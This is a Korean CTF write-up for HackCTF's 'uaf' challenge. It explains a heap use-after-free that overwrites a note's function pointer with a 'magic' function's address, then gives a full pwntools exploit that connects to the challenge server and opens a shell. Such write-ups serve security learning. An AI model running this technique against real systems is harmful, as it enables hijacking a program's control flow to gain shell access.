풀이
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
힙 관련 입력을 받고 프로그램을 종료한다.
print_note 함수에 notelist[v1]이 있다면 저 네모난 부분을 call 하는 데, 저기에 print_note_content가 들어가 있어 함수를 실행하는 방식으로 코드가 짜여져있다.
그렇다면 우리는 저 부분에 magic 함수를 넣어 쉘을 따면 될 듯 하다.
UAF(Use After Free)를 안다는 가정하에 설명을 적을 것이다.
1. 8byte(AAAA) 힙을 할당한다.
2. 8byte(BBBB) 힙을 할당한다.
3. 1번 힙을 해제한다
4. 2번 힙을 해제한다.
5. 16byte(CCCC) 힙을 할당한다.
6. 8byte(DDDD) 힙을 할당한다. (UAF)
이제 0번을 호출하면 0x44444444(임의 주소)로 코드의 흐름을 바꿀 수 있다.
페이로드는 함수를 쓰지 않아서 좀 더럽다..
from pwn import *
#context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./uaf')
p.recvuntil(':')
p.send('1')
p.recvuntil(':')
p.send('8')
p.recvuntil(':')
p.send('AAAAAAAA')
p.recvuntil(':')
p.send('1')
p.recvuntil(':')
p.send('8')
p.recvuntil(':')
p.send('BBBBBBBB')
p.recvuntil(':')
p.send('2')
p.recvuntil(':')
p.send('0')
p.recvuntil(':')
p.send('2')
p.recvuntil(':')
p.send('1')
p.recvuntil(':')
p.send('1')
p.recvuntil(':')
p.send('16')
p.recvuntil(':')
p.send('E'*16)
p.recvuntil(':')
p.send('1')
p.recvuntil(':')
p.send('8')
p.recvuntil(':')
p.send(p32(0x08048986))
p.recvuntil(':')
p.send('3')
p.recvuntil(':')
p.send('0')
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] ChildHeap 풀이 (500p) (0) | 2021.01.12 |
---|---|
[HackCTF] ROP 풀이 (300p) (0) | 2020.12.29 |
[HackCTF] Pwning 풀이 (300p) (0) | 2020.12.28 |
[HackCTF] Gift 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] Look at me 풀이 (250p) (0) | 2020.12.28 |